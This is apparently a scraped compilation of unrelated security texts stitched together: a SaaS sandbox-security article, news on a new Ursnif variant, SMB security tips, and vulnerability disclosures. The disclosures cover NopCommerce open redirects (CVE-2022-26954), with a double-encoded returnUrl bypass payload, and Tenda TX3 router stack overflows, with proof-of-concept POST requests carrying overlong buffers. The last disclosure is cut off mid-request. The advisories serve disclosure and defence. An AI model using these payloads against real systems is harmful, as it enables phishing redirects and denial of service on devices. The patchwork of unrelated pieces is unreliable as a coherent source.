When creating a Sandbox, the mindset tends to be that the Sandbox is considered a place to play around, test things, and there will be no effect on the production or operational system. Therefore, people don't actively think they need to worry about its security. This mindset is not only wrong, but extremely dangerous. 
When it comes to software developers, their version of sandbox is similar to

When creating a Sandbox, the mindset tends to be that the Sandbox is considered a place to play around, test things, and there will be no effect on the production or operational system. Therefore, people don't actively think they need to worry about its security. This mindset is not only wrong, but extremely dangerous.

When it comes to software developers, their version of sandbox is similar to a child's playground — a place to build and test without breaking any flows in production. Meanwhile, in the world of cybersecurity, the term 'sandbox' is used to describe a virtual environment or machine used to run suspicious code and other elements.

Many organizations use a Sandbox for their SaaS apps — to test changes without disrupting the production SaaS app or even to connect new apps (much like a software developer's Sandbox). This common practice often leads to a false sense of security and in turn a lack of thought for its security implications. This article will walk you through what is a SaaS sandbox, why it is vulnerable, and how to secure it.

_Learn how you can gain visibility and control over your SaaS sandbox and app stack._

**Cybersecurity & SaaS Sandbox Fundamentals**

A _cybersecurity_ sandbox allows separation of the protected assets from the unknown code, while still allowing the programmer and app owner to see what happens once the code is executed. The same security concepts are used when creating a _SaaS_ Sandbox — it duplicates the main instance of SaaS including its data. This allows playing around with the SaaS app, without influencing or damaging the operational SaaS — in production.

Developers can use the sandbox to test the API, install add-ons, connect other applications, and more — without worrying about it affecting the actual users of the organization. Admins can change configurations, test SaaS features, change roles, and more. This allows the user to better understand how the changes to the SaaS will go before implementing it on an operational, and critical, SaaS instance. This also allows time to create guidelines, train staff, build workflows, and more.

All in all, using a Sandbox is a great concept for all software and SaaS usage; but like all great things in the world of SaaS, the problem is that there is a major security risk lurking within.

**Sandbox Security Real-World Risks & Realities**

A large private hospital inadvertently revealed data of 50,000 patients when they built a demo site (i.e a Sandbox) to test a new appointment-setting system. They used the real database of the medical center, leaving patients' data exposed.

Often a Sandbox is created using real data, occasionally even a complete clone of the production environment, with its customizations. Other times, the Sandbox is directly connected to a production database. If an attacker manages to penetrate the Sandbox because of lax security, they will gain access to troves of information. (This leakage of information can be problematic especially if you are an EU company or processing EU data because of GDPR. If you are processing medical information in the USA or for a USA company, you can be in violation of HIPPA.)

_Learn how an SSPM can help you automate the security for your SaaS sandbox._

Even organizations that use synthetic data, which is recommended for all companies, can still be at risk for an attack. An attacker can use the Sandbox for reconnaissance to gain insight on how an organization sets up its security features and its possible weak spots. Since the Sandbox reflects to some degree how the operational system is configured, an attacker can use this knowledge to penetrate the production system.

**How to Secure Your SaaS Sandbox**

The solution for the problem of the non-secure Sandbox is rather simple – secure the Sandbox step-by-step as if it was a production system.

**Step 1.** Manage and control access to a Sandbox and limit users' access to the Sandbox. For example, not every user that has access to production should also have access to the Sandbox. Controlling which users can create and access a Sandbox is the first step for keeping your SaaS environment secure.

**Step 2.** Implement the same security settings that are configured within the operational system to the Sandbox version; from requiring MFA to implementing SSO and IDP. Many SaaS apps have additional security features that are tailor-made for that specific SaaS app and should be mirrored in the Sandbox. For example, Salesforce has unique security features such as: Content Sniffing Protection, Default Data Sensitivity Levels, Authentication Through Custom Domain, and so on.

**Step 3.** Remove production data and replace it with synthetic (i.e., made up) data. Sandboxes are typically used for testing changes in configurations, processes, flows (such as APEX), and more. They don't require real data for testing changes - any data with the same format can be sufficient. Therefore, avoid copying the production data and use Data Mask instead.

**Step 4.** Keep your Sandbox inline with security improvements done in the production environment. Often a Sandbox is neither refreshed or synced on a day-to-day basis, leaving it vulnerable to threats that were minimized in the production. To reduce risk and to make sure your Sandbox is serving its purpose, a Sandbox should be synced every day.

**Automate Your SaaS Security**

Security teams can also implement and utilize SSPM (SaaS Security Posture Management) solutions, to automate their SaaS security processes and address the challenges detailed above, to monitor and prevent threats from infiltrating the SaaS sandbox.

An SSPM, like Adaptive Shield, comes into play to enable security teams to identify, analyze, and prioritize misconfigurations in the Sandbox and across the whole SaaS app stack, as well as provide visibility to 3rd party apps with access to the core apps, Device-to-SaaS User posture management and more.

Explore how to automate security for your Sandbox and SaaS app stack.

_**Note:** This article is written by Hananel Livneh, Senior Product Analyst at Adaptive Shield._

Found this article interesting? Follow THN on Facebook, Twitter __ and LinkedIn to read more exclusive content we post.

Not All Sandboxes Are for Children: How to Secure Your SaaS Sandbox

Multiple open redirect vulnerabilities in NopCommerce 4.10 through 4.50.1 allow remote attackers to conduct phishing attacks by redirecting users to attacker-controlled web sites via the returnUrl parameter, processed by the (1) ChangePassword function, (2) SignInCustomerAsync function, (3) SuccessfulAuthentication method, or (4) NopRedirectResultExecutor class.

**Info**

Multiple Open Redirects in NopCommerce

Software Link

NopCommerce Web Platform

Affected Versions

4.10 - 4.50.1

Tested on

NopCommerce 4.40, 4.50.1

Vulnerable Components

src/Presentation/Nop.Web.Framework/Mvc/Routing/NopRedirectResultExecutor.cs,  
src/Presentation/Nop.Web/Controllers/CustomerController.cs,  
src/Libraries/Nop.Services/Customers/CustomerRegistrationService.cs,  
src/Libraries/Nop.Services/Authentication/External/ExternalAuthenticationService.cs

CVSS 3.0

CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:N/I:L/A:N

CVE

CVE-2022-26954

**Summary**

Multiple flaws in the handling of returnurl parameter allow for multiple open redirects in the application that may be abused by an attacker to construct successful phishing campaigns on application users by crafting URLs of legitimate application that will seamlessly redirect users to attacker-controlled resources.

**Fix**

The issue was fixed in the minor NopCommerce 4.50.2 release on April 14th 2022.

Code commit with corresponding fixes

**Details**

The NopCommerce web application uses the UrlHelper.IsLocalUrl built into the C# framework to prevent open redirections when handling user-supplied URL path parameters, such as returnUrl.

...
//prevent open redirection attack
if (!Url.IsLocalUrl(returnUrl))
    return RedirectToAction("Index", "Home", new { area \= AreaNames.Admin });

return Redirect(returnUrl);
...

_Code snippet illustrating checks over returnUrl parameter prior to the redirection_

However, this defence mechanism is not consistently implemented within the application controllers. In particular, the following controller methods are missing the functionality:

*   ChangePassword (src/Presentation/Nop.Web/Controllers/CustomerController.cs)
    
    \[HttpPost\]
    public virtual async Task<IActionResult\> ChangePassword(ChangePasswordModel model, string returnUrl)
    {
      ...
    	if (changePasswordResult.Success)
      {
          \_notificationService.SuccessNotification(await \_localizationService.GetResourceAsync("Account.ChangePassword.Success"));
          return string.IsNullOrEmpty(returnUrl)  ? View(model) : new RedirectResult(returnUrl);
      }
      ...
    }
    
*   SignInCustomerAsync (src/Libraries/Nop.Services/Customers/CustomerRegistrationService.cs)
    
    public virtual async Task<IActionResult\> SignInCustomerAsync(Customer customer, string returnUrl, bool isPersist \= false)
    {
        ...
        //redirect to the return URL if it's specified
        if (!string.IsNullOrEmpty(returnUrl))
            return new RedirectResult(returnUrl);
    
        return new RedirectToRouteResult("Homepage", null);
    }
    
*   SuccessfulAuthentication (src/Libraries/Nop.Services/Authentication/External/ExternalAuthenticationService.cs)
    
    protected virtual IActionResult SuccessfulAuthentication(string returnUrl)
    {
        //redirect to the return URL if it's specified
        if (!string.IsNullOrEmpty(returnUrl))
            return new RedirectResult(returnUrl);
    
        return new RedirectToRouteResult("Homepage", null);
    }
    

The aforementioned methods do not contain any checks over the user supplied value, and thus are vulnerable to the open redirects. Open redirects can be triggered by sending the following requests to the application:

_An up-to-date build (on 17.02.2022) from the official NopCommerce GitHub was used to demonstrate the issue_

    POST /login?returnurl=https://google.com HTTP/1.1
    Host: localhost
    User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:97.0) Gecko/20100101 Firefox/97.0
    Content-Type: application/x-www-form-urlencoded
    Content-Length: 242
    Origin: http://localhost
    Connection: close
    Referer: http://localhost/login?returnUrl=https://google.com
    Cookie: COOKIES
    
    Email=EMAIL&Password=PASS&__RequestVerificationToken=CSRF_TOKEN&RememberMe=false
    
    HTTP/1.1 302 Found
    Content-Length: 0
    Connection: close
    Date: Thu, 17 Feb 2022 08:11:48 GMT
    Server: Kestrel
    Cache-Control: no-cache,no-store
    Content-Language: en-US
    Expires: Thu, 01 Jan 1970 00:00:00 GMT
    Location: https://google.com
    

_Open redirect after a successful login_

    POST /customer/changepassword?returnUrl=https://google.com HTTP/1.1
    Host: localhost
    User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:97.0) Gecko/20100101 Firefox/97.0
    Content-Type: application/x-www-form-urlencoded
    Content-Length: 318
    Origin: http://localhost
    Connection: close
    Referer: http://localhost/customer/changepassword
    Cookie: COOKIES
    Upgrade-Insecure-Requests: 1
    
    OldPassword=OLD_PASS&NewPassword=NEW_PASS&ConfirmNewPassword=NEW_PASS&__RequestVerificationToken=CSRF_TOKEN
    
    HTTP/1.1 302 Found
    Content-Length: 0
    Connection: close
    Date: Thu, 17 Feb 2022 09:02:15 GMT
    Server: Kestrel
    Content-Language: en-US
    Location: https://google.com/
    X-MiniProfiler-Ids: ["9d6e3a1a-9f9f-4caa-ae31-35b2332ce128"]
    

_Open redirect after a successful password change_

Furthermore, a flaw in a custom RedirectResultExecutor class, used to handle all HTTP redirects in the application, can be abused to **bypass any defence mechanisms and perform open redirects in any application controllers that use client-side supplied input (e.g., in returnUrl) to perform the redirect**.

The issue is exploitable in all versions from commit #2731 Add URL encoding on redirection to URL with non-ASCII chars(January 23, 2018) to commit #3192 Fixed URL encoding on redirect (November 24, 2021).

Code of the vulnerable NopRedirectResultExecutor.ExecuteAsync method, located in src/Presentation/Nop.Web.Framework/Mvc/Routing/NopRedirectResultExecutor.cs, is shown below:

/// <summary\>
/// Execute passed redirect result
/// </summary\>
/// <param name\="context"\>Action context</param\>
/// <param name\="result"\>Redirect result</param\>
/// <returns\>A task that represents the asynchronous operation</returns\>
public override Task ExecuteAsync(ActionContext context, RedirectResult result)
{
    if (result \== null)
        throw new ArgumentNullException(nameof(result));

    if (\_securitySettings.AllowNonAsciiCharactersInHeaders)
    {
        //passed redirect URL may contain non-ASCII characters, that are not allowed now (see https://github.com/aspnet/KestrelHttpServer/issues/1144)
        //so we force to encode this URL before processing
        result.Url \= WebUtility.UrlDecode(result.Url);
    }

    return base.ExecuteAsync(context, result);
}

The application URL-decodes the returnUrl parameter and puts it directly into the Location header of the response served to the client.

Any preceding IsLocalUrl checks can be effectively ignored by adding the second / character (char 0x27) in double-URI encoding.

For example, the payload returnUrl=%2f%252fgoogle.com will undergo the following processing:

1.  The application web server will natively decode the first layer of URL encoding and pass it to the controller:
    
    %2f%252fgoogle.com --> /%2fgoogle.com
    
2.  The controller will perform the IsLocalUrl check over the /%2fgoogle.com value:
    
    Since the second / is still being encoded as %2f , the function will return true:
    
    IsLocalUrl("/%2fgoogle.com") --> true
    
3.  The /%2fgoogle.com value will be used to call Redirect function
    
4.  The /%2fgoogle.com value will be processed by the NopRedirectResultExecutor, once more decoded into //google.com, and directly served in the Location header:
    
    result.Url \= WebUtility.UrlDecode(result.Url); // will result in "//google.com"
    ...
    return base.ExecuteAsync(context, result);
    

    [*] returnUrl value: "/%2fgoogle.com"
    [+] result.Url value: "//google.com"
    

_Verbose printing of local variables inside the NopRedirectResultExecutor during processing of an attacker-injected value_

Thus, it is possible to achieve the following server behavior in all client-side controlled redirects:

    POST /en/login?returnurl=%2F%252fATTACKER_HOST HTTP/2
    Host: localhost
    Cookie: COOKIES
    User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:97.0) Gecko/20100101 Firefox/97.0
    Content-Type: application/x-www-form-urlencoded
    Content-Length: 249
    
    Username=USER&Password=PASS&__RequestVerificationToken=CSRF_TOKEN&RememberMe=false
    
    HTTP/2 302 Found
    Date: Tue, 15 Feb 2022 20:48:29 GMT
    Content-Length: 0
    Cache-Control: no-cache
    Pragma: no-cache
    Expires: Thu, 01 Jan 1970 00:00:00 GMT
    Location: //ATTACKER_HOST
    

A Location header value of //ATTACKER_HOST is actually a valid, shortened form of CURRENT_URI_SHEME://ATTACKER_HOST and will be successfully processed and followed to by modern browsers.

NopRedirectResultExecutor was partially fixed in BugFix #3192 and now uses extra processing before returning the value to the client:

/// <summary\>
/// Execute passed redirect result
/// </summary\>
/// <param name\="context"\>Action context</param\>
/// <param name\="result"\>Redirect result</param\>
/// <returns\>A task that represents the asynchronous operation</returns\>
public override Task ExecuteAsync(ActionContext context, RedirectResult result)
{
    if (result \== null)
        throw new ArgumentNullException(nameof(result));

    if (\_securitySettings.AllowNonAsciiCharactersInHeaders)
    {
        //passed redirect URL may contain non-ASCII characters, that are not allowed now (see https://github.com/aspnet/KestrelHttpServer/issues/1144)
        //so we force to encode this URL before processing
        var url \= WebUtility.UrlDecode(result.Url);

        var urlHelper \= result.UrlHelper ?? \_urlHelperFactory.GetUrlHelper(\_actionContextAccessor.ActionContext);
        
				var isLocalUrl \= urlHelper.IsLocalUrl(url);

        var uri \= new Uri(isLocalUrl ? $"{\_webHelper.GetStoreLocation().TrimEnd('/')}{url}" : url, UriKind.Absolute);
        
        result.Url \= isLocalUrl ? uri.PathAndQuery : $"{uri.GetLeftPart(UriPartial.Query)}{uri.Fragment}";      
		}
    return base.ExecuteAsync(context, result);
}

The following mutations are performed on the attacker-injected /%2fgoogle.com value:

1.  The application URL-decodes the returnUrl parameter value into a url variable.
2.  The url is checked with the built-in IsLocalUrl helper check to determine if it is relative or not.
3.  The check returns false on the decoded value//google.com , and the url is then processed as external.
4.  The application then initiates a new uri variable that uses the built-in Uri class to process the //google.com value as an absolute URL. The Uri class constructor, due to the lack of a URI scheme, will treat the value as local path and prepends a file:// schema.
5.  The uri variable is converted back to string.
6.  The resulting value is served to the client in the Location header.

Although the core weakness with bypassing the preceding IsLocalUrl checks on returnUrl values still can be exploited by an attacker to achieve an open redirect, the file:// schema that is now returned back to the browser has almost no practical impact, as it is likely ignored by the browsers’ security policies (ERROR_INSECURE_REDIRECT). However, the issue can still affect HTTP clients that use the native API for communication and data processing.

    [*] returnUrl value: "/%2fgoogle.com"
    [*] url value: "//google.com"
    [?] isLocalUrl value: False
    [*] uri value: Uri(file://google.com/)
    [+] Resulting redirect URI value: Uri(file://google.com/)
    

_New behavior processing logs from supplying /%252fgoogle.com into the returnUrl_

    POST /login?returnurl=/%252fgoogle.com HTTP/1.1
    Host: localhost
    Content-Type: application/x-www-form-urlencoded
    Content-Length: 252
    Cookie: COOKIES
    
    Email=EMAIL&Password=PASS&__RequestVerificationToken=CSRF_TOKEN&RememberMe=false
    
    HTTP/1.1 302 Found
    Content-Length: 0
    Connection: close
    Date: Tue, 15 Feb 2022 20:40:34 GMT
    Server: Kestrel
    Expires: Thu, 01 Jan 1970 00:00:00 GMT
    Location: file://google.com/
    

_New NopRedirectResultExecutor behavior on local instance of the up-to-date (17.02.2022) application compiled from GitHub source code_

CVE-2022-26954: [CVE-2022-26954] Multiple Open Redirects in NopCommerce

The Ursnif malware has become the latest malware to shed its roots as a banking trojan to revamp itself into a generic backdoor capable of delivering next-stage payloads, joining the likes of Emotet, Qakbot, and TrickBot.
"This is a significant shift from the malware's original purpose to enable banking fraud, but is consistent with the broader threat landscape," Mandiant researchers Sandor

The Ursnif malware has become the latest malware to shed its roots as a banking trojan to revamp itself into a generic backdoor capable of delivering next-stage payloads, joining the likes of Emotet, Qakbot, and TrickBot.

"This is a significant shift from the malware's original purpose to enable banking fraud, but is consistent with the broader threat landscape," Mandiant researchers Sandor Nemes, Sulian Lebegue, and Jessa Valdez disclosed in a Wednesday analysis.

The refreshed and refactored variant, first spotted by the Google-owned threat intelligence firm in the wild on June 23, 2022, has been codenamed LDR4, in what's being seen as an attempt to lay the groundwork for potential ransomware and data theft extortion operations.

Ursnif, also called Gozi or ISFB, is one of the oldest banker malware families, with the earliest documented attacks going as far back as 2007. Check Point, in August 2020, mapped the "divergent evolution of Gozi" over the years, while pointing out its fragmented development history.

Almost a year later in late June 2021, a Romanian threat actor, Mihai Ionut Paunescu, was arrested by Colombian law enforcement officials for his role in propagating the malware to no fewer than a million computers from 2007 to 2012.

The latest attack chain detailed by Mandiant demonstrates the use of recruitment and invoice-related email lures as an initial intrusion vector to download a Microsoft Excel document, which then fetches and launches the malware.

The major refurbishment of Ursnif eschews all its banking-related features and modules in favor of retrieving a VNC module and gaining a remote shell into the compromised machine, which are carried out by connecting to a remote server to obtain said commands.

"These shifts may reflect the threat actors' increased focus towards participating in or enabling ransomware operations in the future," the researchers said.

Found this article interesting? Follow THN on Facebook, Twitter __ and LinkedIn to read more exclusive content we post.

New Ursnif Variant Likely Shifting Focus to Ransomware and Data Theft

Categories: Business
Five things that every business can do (and should be paying attention to).



(Read more...)




The post 5 essential security tips for SMBs appeared first on Malwarebytes Labs.

In any business, the security of each computer is intimately connected to the security of every other computer. Interconnectedness allows attackers to turn a breach, a fault, or an oversight on one machine into access on all the machines its connected to. That means any attack on any computer is a potential jumping off point for an attack on the entire business.

Trojans like Emotet and Agent Tesla can infiltrate deep into your organization, silently stealing sensitive information, while ransomware like LockBit can bring your entire business to a sudden, grinding halt.

To defend against them, organizations need to think about the tools and practices that will pay dividends throughout their network. To help, we’ve compiled five essential security tips for SMBs.

**1\. Have a plan for patching**

Criminals often break into computers by exploiting known flaws in the software they’re running (you can think of this like jimmying a broken lock). Security updates remove those flaws, which fixes the broken locks and shuts out the criminals.

Be warned: Patching an organization isn’t like keeping your laptop up to date, and many underestimate the time and planning required to do it properly. Like any complex, ongoing process it requires commitment, planning and prioritization.

Organizations need to know what computers they own, what software they’re running, what updates that software needs, how urgently it needs to happen, who is responsible for applying updates, what schedule they’re working to, and what the rollback plan is if something goes wrong. While it's technically possible to do this process manually, using an automated patch management platform will make your life infinitely easier.

Some choose to do this themselves, but, for obvious reasons, many prefer to let an experienced managed service provider (MSP) do it for them.

**2\. Use multi-factor authentication**

Getting on top of your patching closes a lot of doors on cybercriminals, but not all of them. There is no need for criminals to jimmy a lock if they can steal a key, and the keys to your kingdom are your users’ passwords.

_In theory_, putting those keys out of reach is easy: You just need all your users to choose strong, unique passwords for every account they use, all the time. In practice, this is an enormous uphill task that unnecessarily, and unfairly, transfers the responsibility for a key area of security from your IT specialists to your staff.

That’s where multi-factor authentication (MFA) comes in. There are many different ways to do MFA, but the most common form is asking users to type a one-time code from an app or SMS message next to their password. MFA is armour for your users’ passwords. It is hugely effective: It can protect you from stolen passwords and credential stuffing, shut out online and offline brute-force guessing attacks, and some forms of MFA will even stop phishing attempts.

The gold standard is MFA based on the FIDO2 standard, so we recommend you start there.

**3\. Turn off RDP wherever you can**

Of course, you don’t have to worry about criminals jimmying locks or stealing keys if you can simply block up the doorway. In most cases that’s not possible, but in one very important place it often is: Remote Desktop Protocol (RDP).

Cybercriminals love RDP and for many years guessing RDP passwords was the number one method of entry for ransomware gangs. No wonder: A stolen RDP session gives a criminal on the other side of the world the same access to your network as they’d get if they strolled into your office, pulled up a chair, and logged on to one of your Windows terminals.

All RDP connections accessible from the Internet are found within hours of going live, and spend their lives being probed relentlessly by multiple malicious computer programs looking to guess their passwords.

Strong passwords can keep you safe, brute-force protection can too, and MFA is very effective, but none of these work quite as well as simply turning off RDP altogher.

RDP was a lifeline during Covid, but do you still need it everywhere it’s turned on? Turn it off wherever you don’t need it and harden what’s left.

**4\. Reserve admin logins for admin tasks**

Every criminal or piece of malware that finds a way on to one of your computers is constrained by a set of rights. They inherit these rights from whatever legitimate program they’ve exploited or whichever user they’re impersonating. If they don’t have the rights they need they’ll try to get them, perhaps by using a tool like Mimikatz to steal the password of a passing admin. The harder they have to work to get the rights they need, the more likely you are to spot them before they do any real damage.

Standard users are heavily constrained, Local Administrators are powerful on one computer, and Domain Administrators are powerful everywhere. The question you must answer is: When a malicious actor ends up on your network, what type of user would you wish them to be? The more administrator accounts you have, and the more frequently they are used, the easier it for criminals to hijack one.

Admin accounts are designed for changing the way that computers and networks work, not for doing work on computers and networks. Use and assign admin rights as sparingly as you can.

**5\. Make offsite, offline backups**

Now, some hard truth: Even if you do your best to stop criminals breaking into your organization, and your best to detect and evict any that succeed, the worst can still happen.

We hope that you never find yourself locked out of your own network by ransomware, and steps like the ones above will make it much less likely that you are. However, the potential severity of a successful attack demands you are never complacent. Ransomware affects organizations, not computers. It is an existential threat to your business on the same level as fires, floods, and other disasters.

If you are affected by a ransomware attack your aim should be to recover your critical systems as quickly as possible. You will need a plan (one that isn’t stored on a computer) that outlines who does what, and which systems you need to restore in what order. To make this possible you’ll need comprehensive, recently tested, backups that are both offline and offsite, beyond the reach of your attackers.

**A muli-layered approach to cyber attack prevention**

An organizations ideal approach to cybersecurity can be aptly summed up in the maxim, "Prevent what you can, mitigate what you cannot." 

In this post, we've outlined a few best practices for your business to consider to lessen the likelyhood of an attack (as well as mitigate the fallout from one!). Now, all of these things sound great—but specifically what technologies are available to us to help bring these tips to fruition?

Our article on 5 technologies that help prevent cyberattacks for SMBs is a great start. Multi-vector Endpoint Protection (EP) is all but necessary to have as a first-layer of defense, and Endpoint Detection and Response is integral for detecting and responding to threats that _do_ make it through.

Check out the resources below to learn more about what options are available for SMBs to fight and recover from cyber attacks.

**More resources**

6 patch management best practices for businesses

Cyber threat hunting for SMBs: How MDR can help

Can your EDR handle a ransomware attack? 6-point checklist for an anti-ransomware EDR

4 ways businesses can save money on cyber insurance

5 essential security tips for SMBs

Tenda TX3 US_TX3V1.0br_V16.03.13.11_multi_TDE01 was discovered to contain a stack overflow via the list parameter at /goform/SetVirtualServerCfg.

Affect device: Tenda-TX3 US\_TX3V1.0br\_V16.03.13.11\_multi\_TDE01(https://www.tendacn.com/tw/download/detail-4015.html)

Vulnerability Type: Stack overflow

Impact: Denial of Service(DoS)

**Vulnerability description**

This vulnerability lies in the /goform/SetVirtualServerCfg page which influences the lastest version of Tenda-TX3 US\_TX3V1.0br\_V16.03.13.11\_multi\_TDE01 (https://www.tendacn.com/tw/download/detail-4015.html)

The vulnerability exists in the file /bin/httpd , function **formSetVirtualSer**.

First, the saveParentControlInfo function will call save_vitrualser_data.

In the save_vitrualser_data function, the buf variable holds the value of list, which is then assigned to lan\_ip by the _isoc99_sscanf function. Because _isoc99_sscanf has no input length limit, it causes a stack overflow vulnerability.

**POC and repetition**

In order to reproduce the vulnerability, the following steps can be followed:

1.  Boot the firmware by qemu-system or other ways (real machine)
2.  Attack with the following POC attacks

POST /goform/SetVirtualServerCfg HTTP/1.1
Host: 192.168.23.133
Cache\-Control: max\-age\=0
Upgrade\-Insecure\-Requests: 1
User\-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.5060.53 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q\=0.9,image/avif,image/webp,image/apng,\*/\*;q\=0.8,application/signed\-exchange;v\=b3;q\=0.9
Accept\-Encoding: gzip, deflate
Accept\-Language: zh\-CN,zh;q\=0.9
Connection: close
Content\-Length: 965

list\=aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa

By sending this poc, we can achieve the effect of a denial-of-service(DOS) attack .

CVE-2022-43024: myCVE/TX3-6.md at main · tianhui999/myCVE

Tenda TX3 US_TX3V1.0br_V16.03.13.11_multi_TDE01 was discovered to contain a stack overflow via the startIp parameter at /goform/SetPptpServerCfg.

Affect device: Tenda-TX3 US\_TX3V1.0br\_V16.03.13.11\_multi\_TDE01(https://www.tendacn.com/tw/download/detail-4015.html)

Vulnerability Type: Stack overflow

Impact: Denial of Service(DoS)

**Vulnerability description**

This vulnerability lies in the /goform/SetPptpServerCfg page which influences the lastest version of Tenda-TX3 US\_TX3V1.0br\_V16.03.13.11\_multi\_TDE01 (https://www.tendacn.com/tw/download/detail-4015.html)

The vulnerability exists in the file /bin/httpd , function **formSetPPTPServer**.

User control pointer parameter _**startIp**_ in web requesting; _**v24**_ is a pointer parameter on the stack, and using _isoc99_sscanf to copy _**v9**_ to _**v24**_ without length limit will cause stack overflow.

**POC and repetition**

In order to reproduce the vulnerability, the following steps can be followed:

1.  Boot the firmware by qemu-system or other ways (real machine)
2.  Attack with the following POC attacks

POST /goform/SetPptpServerCfg HTTP/1.1
Host: 192.168.23.133
Upgrade\-Insecure\-Requests: 1
User\-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.5060.53 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q\=0.9,image/avif,image/webp,image/apng,\*/\*;q\=0.8,application/signed\-exchange;v\=b3;q\=0.9
Accept\-Encoding: gzip, deflate
Accept\-Language: zh\-CN,zh;q\=0.9
Cookie: password\=byn5gk
Connection: close
Content\-Length: 978

endIp\=b&startIp\=aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa

By sending this poc, we can achieve the effect of a denial-of-service(DOS) attack .

CVE-2022-43025: myCVE/TX3-1.md at main · tianhui999/myCVE

Tenda TX3 US_TX3V1.0br_V16.03.13.11_multi_TDE01 was discovered to contain a stack overflow via the endIp parameter at /goform/SetPptpServerCfg.

Affect device: Tenda-TX3 US\_TX3V1.0br\_V16.03.13.11\_multi\_TDE01(https://www.tendacn.com/tw/download/detail-4015.html)

Vulnerability Type: Stack overflow

Impact: Denial of Service(DoS)

**Vulnerability description**

This vulnerability lies in the /goform/SetPptpServerCfg page which influences the lastest version of Tenda-TX3 US\_TX3V1.0br\_V16.03.13.11\_multi\_TDE01 (https://www.tendacn.com/tw/download/detail-4015.html)

The vulnerability exists in the file /bin/httpd , function **formSetPPTPServer**.

User control pointer parameter _**endIp**_ in web requesting; _**v28**_ is an array on the stack, and using _isoc99_sscanf to copy _**v15**_ to _**v28**_ without length limit will cause stack overflow.

**POC and repetition**

In order to reproduce the vulnerability, the following steps can be followed:

1.  Boot the firmware by qemu-system or other ways (real machine)
2.  Attack with the following POC attacks

POST /goform/SetPptpServerCfg HTTP/1.1
Host: 192.168.23.133
Upgrade\-Insecure\-Requests: 1
User\-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.5060.53 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q\=0.9,image/avif,image/webp,image/apng,\*/\*;q\=0.8,application/signed\-exchange;v\=b3;q\=0.9
Accept\-Encoding: gzip, deflate
